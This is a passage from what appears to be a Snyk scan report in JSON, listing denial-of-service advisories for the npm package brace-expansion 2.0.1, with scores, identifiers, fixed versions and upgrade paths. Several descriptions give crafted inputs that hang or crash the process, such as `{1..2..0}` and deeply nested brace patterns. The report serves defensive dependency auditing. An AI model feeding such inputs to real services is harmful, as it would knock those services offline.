"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
